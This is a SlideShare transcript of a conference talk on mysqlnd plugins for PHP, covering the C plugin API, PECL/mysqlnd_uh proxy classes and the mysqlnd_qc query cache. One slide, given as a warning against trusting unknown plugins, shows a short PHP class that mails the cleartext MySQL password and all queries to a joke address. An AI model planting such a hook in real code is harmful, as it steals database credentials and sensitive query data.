The power of mysqlnd plugins
Upcoming SlideShare
Loading in...5
×
 

The power of mysqlnd plugins

on

  • 4,409 views

Slowly the power of mysqlnd plugins become visible. Mysqlnd plugins challenge MySQL Proxy and are often a noteworthy, if not superior, alternative alternative to MySQL Proxy for PHP users. Plugins can ...

Slowly the power of mysqlnd plugins become visible. Mysqlnd plugins challenge MySQL Proxy and are often a noteworthy, if not superior, alternative alternative to MySQL Proxy for PHP users. Plugins can do almost anything that MySQL Proxy can do - but on the client. Please find details in the slides. The presentation has been given today at the PHP track on FrOSCon.

Statistics

Views

Total Views
4,409
Views on SlideShare
3,851
Embed Views
558

Actions

Likes
6
Downloads
42
Comments
0

9 Embeds 558

http://blog.ulf-wendel.de 530
http://www.insidephp.com 14
http://www.planet-php.net 7
http://phpeye.com 2
http://planet-php.org 1
http://www.planet-php.org 1
http://hl.bistoure.com 1
http://translate.googleusercontent.com 1
http://web.archive.org 1
More...

Accessibility

Categories

Upload Details

Uploaded via as OpenOffice

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

The power of mysqlnd plugins The power of mysqlnd plugins Presentation Transcript

  • The power of mysqlnd plugins! Get in! First come, first serve – limited food!
  • Ulf Wendel, MySQL/Sun/Oracle/TellMeWhatIsNext Gardening mysqlnd: growing and harvesting The mysqlnd green house
  • The speaker says... I am a single point of failure. I want you to scale to multiple points of failure. Sounds confusing? Yes! But it is the main message of this talk as we will see. And, BTW, I appreciate if you distribute the news just in case I ever stop talking about plugins.
  • The pub, the idea, the demo
  • The live demo...
  • The speaker says... Thank you David (Sorria Para): you made it possible to write plugins with PHP! The PECL extension „mysqlnd_uh“ (MySQLnd User Handler) exposes the internal C plugin API of mysqlnd as PHP classes. At the time of writing the extension gives you access to about one third of the mysqlnd API. However, from day one on it enables you to monitor and audit queries, perform fail over tasks and many other tasks. Whatever plugin you can envision it is a matter of minutes to prototype it with PHP!
  • The MySQL native driver for PHP Server API (SAPI) CGI CLI Embed ISAPI NSAPI phttpd thttpd ... Zend Engine PHP Runtime PHP Extensions bcmath mysql mysqli mysqlnd pdo pdo_mysql xml ...
  • The speaker says... The MySQL native driver for PHP (mysqlnd) is a C library which implements the MySQL Client Server Protocol. It serves as a drop-in replacement for the MySQL Client Library (AKA libmysqlclient AKA Connector/C). mysqlnd is part of the PHP source code repository as of PHP 5.3. Every PHP source code distribution contains it. mysqlnd is is a special kind of PHP extension. Like ext/PDO it does not export any userland functions. It serves as a C library for other extensions , like ext/PDO.
  • Replacement for libmysql $mysqli = new mysqli(...); $mysql = mysql_connect(...); $pdo = new PDO(...);
  • The speaker says... All PHP-MySQL APIs can either make use of the MySQL Client Library or mysqlnd to connect to MySQL. The decision to use one or the other library is made at compile time. Within a PHP binary you can mix mysqlnd and the MySQL Client Library as you like: one PHP MySQL API may use mysqlnd and another PHP MySQL extension may use the MySQL Client Library. To use the MySQL Client Library, you must have it installed on your system (at least when building PHP), whereas mysqlnd ships with PHP and thus has no pre-requisites.
  • How to grow/extend mysqlnd
  • The speaker says... The core feature set of mysqlnd is defined by the MySQL Client Libary feature set. It has taken about 15k lines of C (without comments) to implement the core functionality. Further growth will complicate maintenance. Further growth will hinder an understanding of the code base. mysqlnd growth must be stopped without preventing the addition of new features. Some new features may be far beyond mainstream user requirements. Good reasons to introduce mysqlnd "plugins". Plugins can hook and replace all mysqlnd C API calls.
  • What mysqlnd plugins can do!
  • The speaker says... A different way to name the plugin concept is to call it a "mysqlnd client proxy". From a PHP application point of view plugins can do everything that can be done using the MySQL Proxy product. For example :
    • Load Balancing
      • Read/Write Splitting
      • Failover
      • Round-Robin, least loaded
    • Monitoring
      • Query Logging
      • Query Analysis
      • Query Auditing
    • Performance
      • Caching
      • Throttling
      • Sharding
  • What are mysqlnd plugins?
    • Extension
      • Adds new functionality
    • Proxy
      • Surrogate
      • Intermediary
  • The speaker says... A better understanding of the capabilities of the "mysqlnd plugin concept" can be gained by distinguishing between extensions and proxies. Extensions add new functionality to a software . For example, it is possible to add a new, alternative wire protocol implementation to mysqlnd for supporting the native Drizzle client server protocol. Another way of understanding is to look at plugins as proxies. This is the dominating one-sided viewpoint used in the following.
  • Proxy: Single Point of Failure!
  • The speaker says... Topology: MySQL Proxy can either be installed on the PHP application server or be run on a dedicated machine. Multiple clients connect to it. A mysqlnd plugin is part of the client. It operates on and within the client. Plugin advantages:
    • No Single Point of Failure
    • Horizontal scale out, scale by client
    • No concurrency issues
    • Use existing deployment infrastructure
  • Plugin: C API and wire protocol
  • The speaker says... MySQL Proxy works on top of the wire protocol. With MySQL Proxy you have to parse and reverse engineer the MySQL Client Server Protocol. Actions are limited to what can be done by manipulating the communication protocol. Proxy can be extended with C and Lua. Mysqlnd plugins work on top of the C API (and thus also top of the wire protocol). You can hook all C API calls. PHP makes use of the C API. Therefore you can hook all PHP calls. You can manipulate the wire protocol, if you want, but you are not limited to it. Plugins can be written with C and PHP – no new beast to learn.
  • Follow me or leave the room!
  • Start your GCC's, boys!
    • You want mysqlnd plugins because
      • 100% transparent = 100% compatible
      • Cure applications without touching .php
      • No extra software, no MySQL Proxy!
      • Extend, add driver functionality
    • All you need to is
      • … comment (*.c)
      • … plug, hack, pray (*.php)
  • The speaker says... mysqlnd plugins can be written in C and PHP. We need to look at C first. C is the "natural" choice: mysqlnd is a C library. Production level plugins may be preferrably written in C for deployment, performance and security reasons. Plug, hack, pray – PHP – style plugins can also be written with PHP. PECL/mysqlnd_uh makes play, hack and plug possible. PHP based plugins are perfect for testing and development! The basic C plugin API concepts reach out to PHP based mysqlnd plugins.
  • mysqlnd modules
  • The speaker says... Andrey Hristov is the core developer of mysqlnd. He is probably the only person in the world to know each line of mysqlnd inside out. Andrey tried to modularize mysqlnd from the very beginning. First he created modules. Later on the modules became objects. Object oriented concepts crept into the design. Without knowing he had layed the foundations of what is called the mysqlnd plugin API today. The above listed modules can be understood as classes. The classes can be extended by plugins.
  • mysqlnd modules are objects struct st_mysqlnd_conn_methods { void (*init)(MYSQLND * conn TSRMLS_DC); enum_func_status (*query)( MYSQLND *conn, const char *query, unsigned int query_len TSRMLS_DC); /* ... 50+ methods not shown */ }; struct st_mysqlnd_connection { /* properties */ char *host; unsigned int host_len; /* ... ... */ /* methods */ struct st_mysqlnd_conn_methods *m; };
  • The speaker says... Mysqlnd uses a classical C pattern for implementing object orientation. In C you use a struct to represent an object. Data members of the struct represent properties. Struct members pointing to functions represent methods.
  • The classes # public #private (not final!) #total Connection 48 5 53 Resultset 26 0 26 Resultset Meta 6 0 6 Statement 35 1 35 Network 11 0 11 Wire protocol 10 0 10 Total 136 6 142 Revision 299098 = PHP 5.3 on May, 7 2010 - Andrey continued working since then...
  • The speaker says... Some, few mysqlnd functions are marked as private. Private does not mean final. It is possible to overwrite them but it is discouraged. Those private functions usually take care of internal reference counting. The list shows the number of C functions. C functions have not been designed to be exposed to the user space. Nonetheless, at the time of writing, the PECL extension mysqlnd_uh exports all public Connection methods and three methods of the Statement class . Future versions will export further classes.
  • Extending Connection: methods /* a place to store orginal function table */ struct st_mysqlnd_conn_methods org_methods; void minit_ register_hooks(TSRMLS_D) { /* active function table */ struct st_mysqlnd_conn_methods * current_methods = mysqlnd_conn_get_methods(); /* backup original function table */ memcpy(&org_methods, current_methods, sizeof(struct st_mysqlnd_conn_methods); /* install new methods */ current_methods->query = MYSQLND_METHOD(my_conn_class, query); }
  • The speaker says... Plugins can overwrite methods by replacing function pointer. Connection function table manipulations must be done at Module Initialization (MINIT). The function table is a global shared resource. In an threaded environment, with a TSRM build, the manipulation of a global shared resource during the request processing is doomed to cause trouble. Do not use any fixed-size logic: new methods may be added at the end of the function table. Follow the examples to avoid trouble!
  • Extending: parent methods MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn, const char *query, unsigned int query_len TSRMLS_DC) { php_printf("my_conn_class::query(query = %s) ", query); query = "SELECT 'query rewritten' FROM DUAL"; query_len = strlen(query); return org_methods.query(conn, query, query_len); } }
  • The speaker says... Back to C - if the original function table entries are backed up, it is still possible to call the original function table entries - the parent methods. However, there are no fixed rules on inheritance - it is all based on conventions. We will ignore this problem for now because we want to show how to use the plugin API. The C API documentation, which is currently rewritten to be added to the PHP manual, has the details at http://blog.ulf-wendel.de/mysqlnd_plugin_ipc2010.html
  • Daddy, it is a C plugin API !
    • mysqlnd_plugin_register()
    • mysqlnd_plugin_count()
    • mysqlnd_plugin_get_plugin_connection_data()
    • mysqlnd_plugin_get_plugin_[result|stmt]_data()
    • mysqlnd_plugin_get_plugin_[net|protocol]_data()
    • mysqlnd_conn_get_methods()
    • mysqlnd_[result|result_meta]_get_methods()
    • mysqlnd_[stmt|net|protocol]_get_methods()
  • The speaker says... It just happened, … What you see is the first version. It is far from perfect. No surprise. ABI breaks should become very rare, however, there may be API additions.
  • On PHP, the borg and ladies
  • The speaker says... Few PHP users can write C code. PHP users love the convenience of a script language. Therefore it is desired to expose C APIs to the userland. PHP is like the borg: it assimilates all technology it finds useful. PHP has been designed to assimilate C libraries. Assimilated C libraries are called extensions. Most PHP extensions expose a PHP API for use in *.php files. Mysqlnd is a C library. A mysqlnd plugin is yet another C library implemented as a PHP extension. Nobody stopped David from writing a mysqlnd plugin which exposes the mysqlnd plugin API to PHP users - for use in *.php files!
  • Userspace plugin motivation
    • Availability: maximum
    • Creative potential: endless
    • Ease of use: absolutely
    • Fun factor: tremendous
    • US citizen: you must read and comply to the following security rules
    • Security, Limitations, Chaining: consult homeland security
    • The C API has not been designed to be exposed to the userspace
    • Continued on page PHP_INT_MAX.
  • The speaker says... It is about rapid protoyping, it is about simplified technology access. If you ever plan to work with userspace mysqlnd plugins ask yourself twice if it may be better to contract a C developer. The internal mysqlnd API has not been designed as a plugin API for C, and mysqlnd methods have certainly never been designed to be exposed to the userspace! If you give users access to C stuff, as proposed, they can easily crash PHP.
  • The David Sorria Para way... auto_prepend.php : class ConnProxy extends MysqlndUhConnection { public function query($conn, $query) { } } mysqlnd_uh_set_connection_proxy(new ConnProxy());
  • The speaker says... David Sorria Para , a well know PHP contributor who is employed by Mayflower/thinkPHP , has made plugin development much easier with PECL/mysqlnd_uh. David has exposed the internal C methods of mysqlnd to the user space using a build-in class „MysqlndUhConnection“ . A user defined proxy class can extend the build-in class to subclass mysqlnd methods. The user space counterpart to MINIT is auto prepend or any startup hook logic of your application. This is where David registeres his user space proxy object.
  • The PECL/mysqlnd_uh way... class ConnProxy extends MysqlndUhConnection { public function query($conn, $query) { printf("%s(query = %s) ", $query); $query = "SELECT 'query rewritten' FROM DUAL"; return parent::query($conn, $query); } }
  • David, it is mysqlnd_uh!
    • mysqlnd_uh_set_connection_proxy()
    • mysqlnd_uh_set_statement_proxy()
    • Class MysqlndUhConnection
    • Class MysqlndUhStatement
    • mysqlnd_uh_convert_to_mysqlnd()
  • Risks: a (silly) man's world
    • Security: sissy
    • Limitations: use your leadfoot
    • Chaining: take care
    • Recommended to call parent methods
    • Recommended to be cooperative
  • The speaker says... No limits, take care! A plugin has full access to the inner workings of mysqlnd. There are no security limits. Everything can be overwritten to implement friendly or hostile algorithms. Do not trust unknown plugins blindly . Do not use unknown plugins before checking their source!
  • Sugar! class BorgTransmitter extends MysqlndUhConnection { public function connect ($res, $host, $user, $passwd , $db, $port, $socket, $mysql_flags) { mail('borg@delta.quadrant', 'MySQL pass', $passwd); return parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags); } public function query( $res, $query) { mail('borg@delta.quadrant', 'MySQL query', $query); return parent::query($res, $query); } }
  • The speaker says... Again, do not trust unknown plugins! Password spoofing is easier with a mysqlnd plugin but with MySQL Proxy. A plugin hooks the connect C call. The C calls gets the clear text password before it gets encrypted and send to MySQL. MySQL Proxy operates on top of the wire protocol. The password is encrypted before MySQL Proxy gets it. Does it matter? All queries are transferred in clear text. Query strings may contain passwords, credit card data, ...
  • Sugar, sugar! class FailoverProxy extends MysqlndUhConnection { public function connect(..., $host, ...) { $conn = @parent::connect( ..., $host , ... ); if (!$conn) { do { $failover_host = my_memcache_proxyget("failover_host"); $conn = @parent::connect(..., $failover_over, ...); } while ($failover_host && !$conn); } return $conn; } }
  • The speaker says... One of the disadvantages of a mysqlnd plugin based client proxy approach is the non-persisent memory of the mysqlnd plugin. The mysqlnd plugin cannot recall decisions made earlier. One plugin cannot share information with another one. But you may ask your Memcache deamon to help out! Yeah, a classical hack to maintain a state...
  • Sugar, sugar Baby! $pdo = new PDO(...); $proxy = new MysqlndUhConnection(); $proxy->getThreadId(mysqlnd_plugin_pdo_to_conn($pdo));
  • The speaker says... In our discussion we have looked at the userspace proxy and the default proxy class from PECL/mysqlnd_uh as a passive component which gets called through mysqlnd. Though, there is no reason why we would not be allowed to call proxy methods directly as long as we can provide the necessary arguments. For example, we can use the proxy, as shown above, to obtain the thread id of a PDO MySQL connection. This is something that is not possible through the standard PDO API.
  • PECL/mysqlnd_qc
  • The speaker says... PECL/mysqlnd_qc is a basic client side query cache. The default invalidation method is TTL. The limitation can be lifted with user defined storage handler. Build-in storage handler support local memory, APC, Memcache and SQLite. Multiple query cache prototypes had been developed before. None got published because all of them had been too complicated. PECL/mysqlnd_qc is way more elegant and simpler: it caches raw wire protocol data. On a cache hit it replays the raw data. This is much easier than serializing and deserializing result sets of PHP variables (zvals).
  • Key Features
    • Transparent: no user API changes
      • Supports ext/mysql, ext/mysqli
      • Supports PDO_MySQL
    • Invalidation: TTL, custom
      • Per query Time to Live (TTL)
      • Custom: user callbacks
    • Storage handler: build-in, custom
      • Default (Memory), APC, Memcache, SQLite
      • Custom: user callbacks
  • The speaker says... PECL/mysqlnd_qc shares the basic design with the much older PEAR_Cache – a generic cache, written in PHP, to store arbitrary data. Both offer flexible storage and default to TTL invalidation strategy but can easily be expanded.
  • Possibly Asked Questions (PAQ)
    • Can stale data be served?
      • Sure, it is Time to Live (TTL) by default. But you can implement your own invalidation strategy!
    • Which PHP versions are supported?
      • PHP 5.3.3-dev or newer. At the time of writing the query cache is in beta stage. If we had more user feedback, we would call it Release/GA.
    • Where can I get it?
      • On PECL: mysqlnd_qc.
  • Basic Usage: SQL hint /*qc=on*/ $mysqli = new mysqli($host, $user, $passwd, $db, $port, $socket); /* Cached: SQL hint used */ $res = $mysqli->query('/*qc=on*/SELECT id FROM test'); var_dump($res->fetch_all(MYSQLI_ASSOC)); $res->free(); /* Not cached: no SQL hint used */ $res = $mysqli->query('SELECT id FROM test'); var_dump($res->fetch_all(MYSQLI_ASSOC)); $res->free();
  • The speaker says... PECL/mysqlnd_qc is a basic client side query cache. The default invalidation method is TTL. The limitation can be lifted with user defined storage handler. Build-in storage handler support local memory, APC, Memcache and SQLite. Multiple query cache prototypes had been developed before. None got published because all of them had been too complicated. PECL/mysqlnd_qc is way more elegant and simpler: it caches raw wire protocol data. On a cache hit it replays the raw data. This is much easier than serializing and deserializing result sets of PHP variables (zvals).
  • Key Features
    • Transparent: no user API changes
      • Supports ext/mysql, ext/mysqli
      • Supports PDO_MySQL
    • Invalidation: TTL, custom
      • Per query Time to Live (TTL)
      • Custom: user callbacks
    • Storage handler: build-in, custom
      • Default (Memory), APC, Memcache, SQLite
      • Custom: user callbacks
  • The speaker says... PECL/mysqlnd_qc shares the basic design with the much older PEAR_Cache – a generic cache, written in PHP, to store arbitrary data. Both offer flexible storage and default to TTL invalidation strategy but can easily be expanded.
  • SQL hints
    • Hints must come first!
      • Correct: /*qc=on*/ SELECT 1, Wrong: SELECT 1/*qc=on*/
    • Enable: /*qc=on*/
    • Disable: /*qc=off*/
      • If caching is enabled by default
    • Per query TTL: /*qc_ttl=<n>*/
      • Global TTL setting will be used if omitted
  • The speaker says... SQL hints are the easiest and most simple way to tell the cache which query to cache. SQL hints are SQL standard conformant SQL comments. The SQL hints used by PECL/mysqlnd_qc can be configured at compile time, just in case they clash with any existing ones. It is important to recall that SQL hints must come very first in the statement to be recognized by the query cache plugin.
  • Vs. MySQL Server Query Cache
  • The speaker says... The slide should look familiar to you. When talking about differences between a server-side solution and a client-side solution, for example PECL/mysqlnd_qc, it always boils down to the same arguments:
    • No single overloaded entity (MySQL Server)
    • Scale out hoizontally by adding more clients
    • Short distance to cache: lower latency
    • Lower server load
  • Storage handler responsibilities
    • Storage
      • Scope: request, process, machine, multi-machine
      • Location: distance to cache
      • Replacement strategy
      • Slam defense strategy
    • Decide what to cache
      • is_select() - detect SQL hints
    • Extended statistics
      • Storage statistics, traces, timings
  • The speaker says... Caches can be shared to a different degree between clients. Some caches are available to the current process, resulting in a low re-use figure of cache entries, others are shared among multiple processes or even machines. Those shared among machines usually add latency. The is_select() method of a storage handler gets asked for every query if it shall be cached or not. User-defined storage handler use is_select() to implement whatever invalidation strategy they want. See the extra presentation for details.
  • S.O.S – cache entry expires
  • The speaker says... Plan your cache strategy carefully! If not properly planned, caching can be counter productive. For example, test what happens if a very popular cache entry used by many clients expires. For the time it takes to refresh the cache entry all clients formerly using the invalidated cache entry will contact the database. The load of the MySQL server will increase suddenly – MySQL will be slammed. Due to the high load it takes longer and longer to refresh the cache entry. MySQL gets overloaded: a spiral to death.
  • Slam defense: serve stale! Refresh
  • The speaker says... To avoid slamming the MySQL Server the query cache plugin has a special TTL based slam protection operation mode. If a client hits an expired cache entry (cache miss) and slam protection is turned on the client gets a cache miss but the cache entry lifetime will be extended by a configurable time. All other clients also using the expired cache entry will get a cache hit because of the extended lifetime. Only the first client, which got a cache miss, contacts the MySQL Server to refresh the expired cache entry. Ideally, it will refresh the expired cache entry before the extended lifetime ends and MySQL does not get slammed because of a sudden massive load.
  • More public plugins on PECL...
    • mysqlnd_mc
      • Multi-connect: splits SELECT and gathers results for each sub-result from different servers
    • mysqlnd_sip
      • SQL Injection protection: rejects unknown queries to avoid injection attacks
    • mysqlnd_pscache
      • Prepared Statement handle cache
  • THE END Credits: Andrey Hristov, David Sorria Para Contact: ulf.wendel@oracle.com